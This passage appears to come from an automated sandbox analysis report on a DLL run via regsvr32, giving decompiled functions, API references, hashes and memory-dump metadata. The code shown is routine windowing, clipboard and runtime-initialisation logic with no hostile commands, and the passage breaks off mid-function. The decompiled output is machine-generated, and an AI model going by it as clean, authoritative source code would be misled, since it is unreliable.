Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41314

InvalidateRect.USER32(?,00000000,00000001), ref: 6EB46452
CreateSolidBrush.GDI32(?), ref: 6EB46463
InvalidateRect.USER32(?,00000000,00000001,?), ref: 6EB4650B

Strings

Similar to %s , xrefs: 6EB464BD

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend$Color$InvalidateRect$BrushCreateSolid
String ID: Similar to %s
API String ID: 3771733679-2607584825
Opcode ID: 0979f8fb24fdea38edd076201dab04071c90459410a85f8256142f5d8d4a07ae
Instruction ID: 34580d8afae57b1b3d1c7575efa079dfa10bfdc2e0815df7af2d577e7b49c4e2
Opcode Fuzzy Hash: 0979f8fb24fdea38edd076201dab04071c90459410a85f8256142f5d8d4a07ae
Instruction Fuzzy Hash: 3391AEB1204652AFD718CB68CC81FABBBE8FB88714F004A2DF655972D4DB74E905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4C12A Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 175
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6EB4C12A(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				struct tagRECT _v60;
				struct tagRECT _v80;
				char _v100;
				void* __edi;
				intOrPtr _t58;
				struct HWND__* _t59;
				intOrPtr _t94;
				signed int _t103;
				struct HWND__* _t104;
				void* _t105;
				struct HWND__* _t107;
				long _t108;
				long _t116;
				void* _t119;
				struct HWND__* _t121;
				void* _t123;
				intOrPtr _t125;
				intOrPtr _t129;

				_t119 = __edx;
				_t105 = __ebx;
				_t125 = __ecx;
				_v12 = __ecx;
				_v8 = E6EB4F5C9(__ecx);
				_t58 = _a4;
				if(_t58 == 0) {
					if((_v8 & 0x40000000) == 0) {
						_t59 = GetWindow( *(__ecx + 0x20), 4);
					} else {
						_t59 = GetParent( *(__ecx + 0x20));
					}
					_t121 = _t59;
					if(_t121 != 0) {
						_t104 = SendMessageA(_t121, 0x36b, 0, 0);
						if(_t104 != 0) {
							_t121 = _t104;
						}
					}
				} else {
					_t4 = _t58 + 0x20; // 0xc033d88b
					_t121 =  *_t4;
				}
				_push(_t105);
				GetWindowRect( *(_t125 + 0x20),  &_v60);
				if((_v8 & 0x40000000) != 0) {
					_t107 = GetParent( *(_t125 + 0x20));
					GetClientRect(_t107,  &_v28);
					GetClientRect(_t121,  &_v44);
					MapWindowPoints(_t121, _t107,  &_v44, 2);
				} else {
					if(_t121 != 0) {
						_t103 = GetWindowLongA(_t121, 0xfffffff0);
						if((_t103 & 0x10000000) == 0 || (_t103 & 0x20000000) != 0) {
							_t121 = 0;
						}
					}
					_v100 = 0x28;
					if(_t121 != 0) {
						GetWindowRect(_t121,  &_v44);
						E6EB4A25E(_t121, E6EB4A1F1(_t121, 2),  &_v100);
						CopyRect( &_v28,  &_v80);
					} else {
						_t94 = E6EB487A0();
						if(_t94 != 0) {
							_t94 =  *((intOrPtr*)(_t94 + 0x20));
						}
						E6EB4A25E(_t121, E6EB4A1F1(_t94, 1),  &_v100);
						CopyRect( &_v44,  &_v80);
						CopyRect( &_v28,  &_v80);
					}
				}
				_t108 = _v60.left;
				asm("cdq");
				_t123 = _v60.right - _t108;
				asm("cdq");
				_t120 = _v44.bottom;
				_t116 = (_v44.left + _v44.right - _t119 >> 1) - (_t123 - _t119 >> 1);
				_a4 = _v60.bottom - _v60.top;
				asm("cdq");
				asm("cdq");
				_t129 = (_v44.top + _v44.bottom - _v44.bottom >> 1) - (_a4 - _t120 >> 1);
				if(_t123 + _t116 > _v28.right) {
					_t116 = _t108 - _v60.right + _v28.right;
				}
				if(_t116 < _v28.left) {
					_t116 = _v28.left;
				}
				if(_a4 + _t129 > _v28.bottom) {
					_t129 = _v60.top - _v60.bottom + _v28.bottom;
				}
				if(_t129 < _v28.top) {
					_t129 = _v28.top;
				}
				return E6EB4F95A(_v12, 0, _t116, _t129, 0xffffffff, 0xffffffff, 0x15);
			}

APIs

Part of subcall function 6EB4F5C9: GetWindowLongA.USER32 ref: 6EB4F5D4

GetParent.USER32(?), ref: 6EB4C159
SendMessageA.USER32 ref: 6EB4C17C
GetWindowRect.USER32 ref: 6EB4C196
GetWindowLongA.USER32 ref: 6EB4C1AC
CopyRect.USER32 ref: 6EB4C1F9
CopyRect.USER32 ref: 6EB4C203
GetWindowRect.USER32 ref: 6EB4C20C
CopyRect.USER32 ref: 6EB4C228

Strings

(, xrefs: 6EB4C1C2

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: f3715104120bd9a9ad2091f5194cf8a6b1cdf2b1b32bd1e4515edb06979120bd
Instruction ID: 079f5433f00408e0f741dfd88d24248f4fdd3e054e785f99c4477576dc7144ed
Opcode Fuzzy Hash: f3715104120bd9a9ad2091f5194cf8a6b1cdf2b1b32bd1e4515edb06979120bd
Instruction Fuzzy Hash: 5F516C72A00559EBEF00CBE8CC84AEEBBB9FF89710F054525F915A7294DB30E9459B60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB465A0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 163
clipboardwindowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6EB465A0(void* __ecx, void* __fp0) {
				int _v4;
				char _v8;
				char _v12;
				char _v16;
				signed char _v20;
				char _v24;
				signed char _v28;
				signed int _v32;
				intOrPtr _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _t35;
				long _t40;
				intOrPtr* _t43;
				signed char _t48;
				int _t52;
				signed int** _t54;
				intOrPtr* _t55;
				void* _t63;
				char _t64;
				signed char _t70;
				signed char _t77;
				signed char _t83;
				struct HWND__* _t84;
				intOrPtr* _t92;
				signed int _t103;
				void* _t108;
				void* _t110;
				void* _t112;
				signed int _t119;
				intOrPtr* _t120;
				intOrPtr _t123;
				void* _t125;
				intOrPtr* _t129;
				void* _t136;

				_t136 = __fp0;
				_push(0xffffffff);
				_push(0x6eb786e0);
				_push( *[fs:0x0]);
				_t35 =  *0x6eb89470; // 0x8926f9d4
				_push(_t35 ^ _t125 - 0x00000014);
				 *[fs:0x0] =  &_v12;
				_t110 = __ecx;
				_t70 = 0xff - SendMessageA( *(__ecx + 0x168), 0x400, 0, 0);
				_t40 = SendMessageA( *(_t110 + 0x270), 0x400, 0, 0);
				_t93 =  *(_t110 + 0x2f4);
				_v32 = 0xff - _t40;
				_t77 = 0xff - SendMessageA( *(_t110 + 0x2f4), 0x400, 0, 0);
				_v20 = _t77;
				_t119 = ((_t77 & 0x000000ff) << 0x00000008 | _v32 & 0x000000ff) << 0x00000008 | _t70 & 0x000000ff;
				_t43 = E6EB4838C();
				_t129 = _t43;
				_t80 = 0 | _t129 == 0x00000000;
				if(_t129 == 0) {
					_t43 = E6EB41000(_t80, _t93, 0x80004005);
				}
				_v28 =  *((intOrPtr*)( *((intOrPtr*)( *_t43 + 0xc))))() + 0x10;
				_push( &_v16);
				_v4 = 0;
				E6EB478D0( &_v24, _t136,  &_v24, _t119);
				_t83 = _v32;
				_t123 = _v44;
				_push(_t83);
				_push(_t123);
				_v16 = 1;
				_t48 = _v28;
				_push(_t70);
				_push(_t119);
				_push(_t48 >> 0x00000010 & 0x000000ff);
				_push(_t48 >> 0x00000008 & 0x000000ff);
				_push(_t48 & 0x000000ff);
				_push(_v36);
				_push(_t83);
				_push(_t123);
				E6EB415B0( &_v40, "RGB( %d, %d, %d );\t// similar to %s (whose exact value is RGB( %d, %d, %d )); COLORREF value is 0x%08X; web value is #%02X%02X%02X", _t70);
				_t84 =  *(_t110 + 0x20);
				_t52 = OpenClipboard(_t84);
				_t120 = _v40;
				if(_t52 != 0) {
					EmptyClipboard();
					_t112 = GlobalAlloc(0x2000,  *((intOrPtr*)(_t120 - 0xc)) + 1);
					_t63 = GlobalLock(_t112);
					_t92 = _t120;
					_t108 = _t63 - _t120;
					do {
						_t64 =  *_t92;
						 *((char*)(_t108 + _t92)) = _t64;
						_t92 = _t92 + 1;
					} while (_t64 != 0);
					GlobalUnlock(_t112);
					SetClipboardData(1, _t112);
					CloseClipboard();
				}
				_v8 = 0;
				_t54 = _v28 + 0xfffffff0;
				_t103 =  &(_t54[3]);
				asm("lock xadd [edx], ecx");
				if((_t84 | 0xffffffff) - 1 <= 0) {
					_t103 =  *( *_t54);
					 *((intOrPtr*)( *((intOrPtr*)(_t103 + 4))))(_t54);
				}
				_t55 = _t120 - 0x10;
				_v8 = 0xffffffff;
				asm("lock xadd [ecx], edx");
				if((_t103 | 0xffffffff) - 1 <= 0) {
					_t55 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t55)) + 4))))(_t55);
				}
				 *[fs:0x0] = _v16;
				return _t55;
			}

APIs

SendMessageA.USER32 ref: 6EB465DF
SendMessageA.USER32 ref: 6EB465F8
SendMessageA.USER32 ref: 6EB46615
OpenClipboard.USER32(?), ref: 6EB466C2
EmptyClipboard.USER32(?,?,?,?,?,?,?,73FBB980,?), ref: 6EB466D0
GlobalAlloc.KERNEL32(00002000,?,?,?,?,?,?,?,?,73FBB980,?), ref: 6EB466E0
GlobalLock.KERNEL32 ref: 6EB466E9
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,73FBB980,?), ref: 6EB46700
SetClipboardData.USER32 ref: 6EB46709
CloseClipboard.USER32(?,?,?,?,?,?,?,73FBB980,?), ref: 6EB4670F

Strings

RGB( %d, %d, %d );// similar to %s (whose exact value is RGB( %d, %d, %d )); COLORREF value is 0x%08X; web value is #%02X%02X%02X, xrefs: 6EB466B0

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Clipboard$GlobalMessageSend$AllocCloseDataEmptyLockOpenUnlock
String ID: RGB( %d, %d, %d );// similar to %s (whose exact value is RGB( %d, %d, %d )); COLORREF value is 0x%08X; web value is #%02X%02X%02X
API String ID: 2375529369-3278946217
Opcode ID: 167a9870bb98dd48d496ec76aa89eaaf90fcb3319635b2b8cc5a2d24dae6800b
Instruction ID: 7902fae6c8a57206b255ae0bc7c1d2bd65b7ac6b9d5cd5855e562e423e9c9c75
Opcode Fuzzy Hash: 167a9870bb98dd48d496ec76aa89eaaf90fcb3319635b2b8cc5a2d24dae6800b
Instruction Fuzzy Hash: 6C51BD71204651AFE714CB68CC84F6BBBE8EF89724F00472DF95597294DB74A801CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6A6BF Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E6EB6A6BF(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x6eb85438);
				E6EB66608(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E6EB66E9D(_t44);
				}
				 *(_t46 - 0x1c) = _t23;
				_t45 =  *((intOrPtr*)(_t46 + 8));
				 *((intOrPtr*)(_t45 + 0x5c)) = 0x6eb7ce40;
				 *((intOrPtr*)(_t45 + 0x14)) = 1;
				if(_t23 != 0) {
					_t35 = GetProcAddress;
					 *((intOrPtr*)(_t45 + 0x1f8)) = GetProcAddress(_t23, "EncodePointer");
					 *((intOrPtr*)(_t45 + 0x1fc)) = GetProcAddress( *(_t46 - 0x1c), "DecodePointer");
				}
				 *((intOrPtr*)(_t45 + 0x70)) = 1;
				 *((char*)(_t45 + 0xc8)) = 0x43;
				 *((char*)(_t45 + 0x14b)) = 0x43;
				 *(_t45 + 0x68) = 0x6eb89b28;
				E6EB6AEB4(_t35, 0xd);
				 *(_t46 - 4) =  *(_t46 - 4) & 0x00000000;
				InterlockedIncrement( *(_t45 + 0x68));
				 *(_t46 - 4) = 0xfffffffe;
				E6EB6A794();
				E6EB6AEB4(_t35, 0xc);
				 *(_t46 - 4) = 1;
				_t28 =  *((intOrPtr*)(_t46 + 0xc));
				 *((intOrPtr*)(_t45 + 0x6c)) = _t28;
				if(_t28 == 0) {
					_t32 =  *0x6eb8a130; // 0x6eb8a058
					 *((intOrPtr*)(_t45 + 0x6c)) = _t32;
				}
				E6EB6E88F( *((intOrPtr*)(_t45 + 0x6c)));
				 *(_t46 - 4) = 0xfffffffe;
				return E6EB6664D(E6EB6A79D());
			}

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,6EB85438,0000000C,6EB6A7FA,00000000,00000000,?,6EB6AB74,00000000,00000001,00000000,?,6EB6AE3E,00000018,6EB85488,0000000C), ref: 6EB6A6D1
__crt_waiting_on_module_handle.LIBCMT ref: 6EB6A6DC

Part of subcall function 6EB66E9D: Sleep.KERNEL32(000003E8,00000000,?,6EB6A622,KERNEL32.DLL,?,?,6EB6A9B6,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D), ref: 6EB66EA9
Part of subcall function 6EB66E9D: GetModuleHandleW.KERNEL32(00000000,?,6EB6A622,KERNEL32.DLL,?,?,6EB6A9B6,00000000,?,6EB646DA,00000000,?,?,?,6EB6473D,?), ref: 6EB66EB2

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 6EB6A705
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 6EB6A715
__lock.LIBCMT ref: 6EB6A737
InterlockedIncrement.KERNEL32(?), ref: 6EB6A744
__lock.LIBCMT ref: 6EB6A758
___addlocaleref.LIBCMT ref: 6EB6A776

Strings

DecodePointer, xrefs: 6EB6A70D
EncodePointer, xrefs: 6EB6A6F9
KERNEL32.DLL, xrefs: 6EB6A6CB, 6EB6A6D0, 6EB6A6DB

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 96c26176f6b91fef86aa762fbfc3f66616de0451a991a721008914ea571c59fe
Instruction ID: 1a32fd45fe946074855291df04b10f6242ae2ac772a951c47c836129de83a717
Opcode Fuzzy Hash: 96c26176f6b91fef86aa762fbfc3f66616de0451a991a721008914ea571c59fe
Instruction Fuzzy Hash: 3311CD70810B81AADF209FF9D844B9EBFF4AF04314F10492ED5A99B790DB34AA00CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB500B4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 60
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB500B4(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t5;
				_Unknown_base(*)()* _t10;
				struct HINSTANCE__* _t18;
				void* _t19;
				char _t21;
				intOrPtr _t23;
				_Unknown_base(*)()* _t24;
				_Unknown_base(*)()* _t25;

				_push(__ecx);
				_t5 = __ecx;
				_t16 = _a4;
				 *((intOrPtr*)(__ecx)) = _a4;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_v8 = __ecx;
				_t21 =  *0x6eb8c6c4; // 0x0
				if(_t21 == 0) {
					_push(_t19);
					_t18 = GetModuleHandleA("KERNEL32");
					_t22 = _t18;
					if(_t18 == 0) {
						L2:
						E6EB48BA4(0, _t16, _t18, _t19, _t22);
					}
					 *0x6eb8c6b4 = GetProcAddress(_t18, "CreateActCtxA");
					 *0x6eb8c6b8 = GetProcAddress(_t18, "ReleaseActCtx");
					 *0x6eb8c6bc = GetProcAddress(_t18, "ActivateActCtx");
					_t10 = GetProcAddress(_t18, "DeactivateActCtx");
					_pop(_t18);
					 *0x6eb8c6c0 = _t10;
					_pop(_t19);
					_t23 =  *0x6eb8c6b4; // 0x0
					if(_t23 == 0) {
						__eflags =  *0x6eb8c6b8; // 0x0
						if(__eflags != 0) {
							goto L2;
						} else {
							__eflags =  *0x6eb8c6bc; // 0x0
							if(__eflags != 0) {
								goto L2;
							} else {
								__eflags = _t10;
								if(__eflags != 0) {
									goto L2;
								}
							}
						}
					} else {
						_t24 =  *0x6eb8c6b8; // 0x0
						if(_t24 == 0) {
							goto L2;
						} else {
							_t25 =  *0x6eb8c6bc; // 0x0
							if(_t25 == 0) {
								goto L2;
							} else {
								_t22 = _t10;
								if(_t10 == 0) {
									goto L2;
								}
							}
						}
					}
					_t5 = _v8;
					 *0x6eb8c6c4 = 1;
				}
				return _t5;
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32), ref: 6EB500DD
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 6EB500FA
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 6EB50107
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 6EB50114
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 6EB50121

Strings

ActivateActCtx, xrefs: 6EB50109
DeactivateActCtx, xrefs: 6EB50116
KERNEL32, xrefs: 6EB500D8
ReleaseActCtx, xrefs: 6EB500FC
CreateActCtxA, xrefs: 6EB500F4

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: c77a9178d0de7286b96f63fd9094f13b98090dab9ba459378d11aa0bd61e90ce
Instruction ID: 2763be727cdaacac247075826457a5072d2550cb44b62d914f2f5a9381af8b3f
Opcode Fuzzy Hash: c77a9178d0de7286b96f63fd9094f13b98090dab9ba459378d11aa0bd61e90ce
Instruction Fuzzy Hash: ED1151F1809786AFCF60AFE6888481BBEB9FA7B348305563FE1049B710E6708550CF12

Uniqueness

Uniqueness Score: -1.00%

Function 6EB530ED Relevance: 16.6, APIs: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB530ED(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t54;
				void* _t58;
				signed int _t59;
				signed int _t63;
				signed int _t71;
				signed int _t84;
				void* _t94;
				struct HINSTANCE__* _t96;
				signed int _t97;
				void* _t98;
				signed int _t100;
				void* _t101;
				void* _t102;

				_t102 = __eflags;
				_t94 = __edx;
				_push(0x24);
				E6EB6652E(0x6eb7791e, __ebx, __edi, __esi);
				_t100 = __ecx;
				 *((intOrPtr*)(_t101 - 0x20)) = __ecx;
				 *(_t101 - 0x1c) =  *(__ecx + 0x60);
				 *(_t101 - 0x18) =  *(__ecx + 0x5c);
				_t54 = E6EB53D20(__ebx, __edi, __ecx, _t102);
				_t96 =  *(_t54 + 0xc);
				_t84 = 0;
				_t103 =  *(_t100 + 0x58);
				if( *(_t100 + 0x58) != 0) {
					_t96 =  *(E6EB53D20(0, _t96, _t100, _t103) + 0xc);
					_t54 = LoadResource(_t96, FindResourceA(_t96,  *(_t100 + 0x58), 5));
					 *(_t101 - 0x18) = _t54;
				}
				if( *(_t101 - 0x18) != _t84) {
					_t54 = LockResource( *(_t101 - 0x18));
					 *(_t101 - 0x1c) = _t54;
				}
				if( *(_t101 - 0x1c) != _t84) {
					_t86 = _t100;
					 *(_t101 - 0x14) = E6EB52C67(_t84, _t100, __eflags);
					E6EB4C7E6(__eflags);
					 *(_t101 - 0x28) =  *(_t101 - 0x28) & _t84;
					 *(_t101 - 0x2c) = _t84;
					 *(_t101 - 0x24) = _t84;
					__eflags =  *(_t101 - 0x14) - _t84;
					if(__eflags != 0) {
						__eflags =  *(_t101 - 0x14) - GetDesktopWindow();
						if(__eflags != 0) {
							__eflags = IsWindowEnabled( *(_t101 - 0x14));
							if(__eflags != 0) {
								EnableWindow( *(_t101 - 0x14), 0);
								 *(_t101 - 0x2c) = 1;
								_t84 = E6EB487A0();
								 *(_t101 - 0x24) = _t84;
								__eflags = _t84;
								if(__eflags != 0) {
									_t86 = _t84;
									__eflags =  *((intOrPtr*)( *_t84 + 0x128))();
									if(__eflags != 0) {
										_t86 = _t84;
										__eflags = E6EB4F6F2(_t84);
										if(__eflags != 0) {
											_t86 = _t84;
											E6EB4F70D(_t84, 0);
											 *(_t101 - 0x28) = 1;
										}
									}
								}
							}
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) & 0x00000000;
					E6EB4E26C(__eflags, _t100);
					_t58 = E6EB4C72D(_t84, _t86,  *(_t101 - 0x14));
					_push(_t96);
					_push(_t58);
					_push( *(_t101 - 0x1c));
					_t59 = E6EB52F37(_t84, _t100, _t94, _t96, _t100, __eflags);
					_t97 = 0;
					__eflags = _t59;
					if(_t59 != 0) {
						__eflags =  *(_t100 + 0x3c) & 0x00000010;
						if(( *(_t100 + 0x3c) & 0x00000010) != 0) {
							_t98 = 4;
							_t71 = E6EB4F5C9(_t100);
							__eflags = _t71 & 0x00000100;
							if((_t71 & 0x00000100) != 0) {
								_t98 = 5;
							}
							E6EB4C2EA(_t100, _t98);
							_t97 = 0;
							__eflags = 0;
						}
						__eflags =  *((intOrPtr*)(_t100 + 0x20)) - _t97;
						if( *((intOrPtr*)(_t100 + 0x20)) != _t97) {
							E6EB4F95A(_t100, _t97, _t97, _t97, _t97, _t97, 0x97);
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) | 0xffffffff;
					__eflags =  *(_t101 - 0x28) - _t97;
					if( *(_t101 - 0x28) != _t97) {
						E6EB4F70D(_t84, 1);
					}
					__eflags =  *(_t101 - 0x2c) - _t97;
					if( *(_t101 - 0x2c) != _t97) {
						EnableWindow( *(_t101 - 0x14), 1);
					}
					__eflags =  *(_t101 - 0x14) - _t97;
					if(__eflags != 0) {
						__eflags = GetActiveWindow() -  *((intOrPtr*)(_t100 + 0x20));
						if(__eflags == 0) {
							SetActiveWindow( *(_t101 - 0x14));
						}
					}
					 *((intOrPtr*)( *_t100 + 0x60))();
					E6EB52CA3(_t84, _t100, _t97, _t100, __eflags);
					__eflags =  *(_t100 + 0x58) - _t97;
					if( *(_t100 + 0x58) != _t97) {
						FreeResource( *(_t101 - 0x18));
					}
					_t63 =  *(_t100 + 0x44);
					goto L31;
				} else {
					_t63 = _t54 | 0xffffffff;
					L31:
					return E6EB665D3(_t63);
				}
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB530F4
FindResourceA.KERNEL32(?,?,00000005), ref: 6EB53127
LoadResource.KERNEL32(?,00000000), ref: 6EB5312F

Part of subcall function 6EB4C7E6: UnhookWindowsHookEx.USER32(?), ref: 6EB4C816

LockResource.KERNEL32(?,00000024,6EB416D7), ref: 6EB53140
GetDesktopWindow.USER32 ref: 6EB53173
IsWindowEnabled.USER32(?), ref: 6EB53181
EnableWindow.USER32(?,00000000), ref: 6EB53190

Part of subcall function 6EB4F6F2: IsWindowEnabled.USER32(?), ref: 6EB4F6FB

Part of subcall function 6EB4F70D: EnableWindow.USER32(?,?), ref: 6EB4F71E

EnableWindow.USER32(?,00000001), ref: 6EB53275
GetActiveWindow.USER32 ref: 6EB53280
SetActiveWindow.USER32(?), ref: 6EB5328E
FreeResource.KERNEL32(?), ref: 6EB532AA

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchHookLoadLockUnhookWindows
String ID:
API String ID: 964565984-0
Opcode ID: 7f9f9ccc5d6ef5754801464cb029baf3904ba17056d949ef92120fbfb4af523d
Instruction ID: d6ec89b842c68de389f5ed8c5c70eb2a17d2968f33e450b2e85718f57b0119f7
Opcode Fuzzy Hash: 7f9f9ccc5d6ef5754801464cb029baf3904ba17056d949ef92120fbfb4af523d
Instruction Fuzzy Hash: 16519830A10B86DFDF119FF48898AAEBFB5EF49715F100829E512A7398CB758960CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4DECC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6EB4DECC(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _t31;
				void* _t33;
				void* _t34;
				void* _t40;
				void* _t43;
				void* _t61;
				void* _t65;
				struct HWND__* _t67;
				CHAR* _t69;
				void* _t72;

				_t65 = __edx;
				_t61 = __ecx;
				_push(0x40);
				E6EB6652E(0x6eb7759c, __ebx, __edi, __esi);
				_t67 =  *(_t72 + 8);
				_t69 = "AfxOldWndProc423";
				_t31 = GetPropA(_t67, _t69);
				 *(_t72 - 0x14) =  *(_t72 - 0x14) & 0x00000000;
				 *(_t72 - 4) =  *(_t72 - 4) & 0x00000000;
				 *(_t72 - 0x18) = _t31;
				_t59 = 1;
				_t33 =  *(_t72 + 0xc) - 6;
				if(_t33 == 0) {
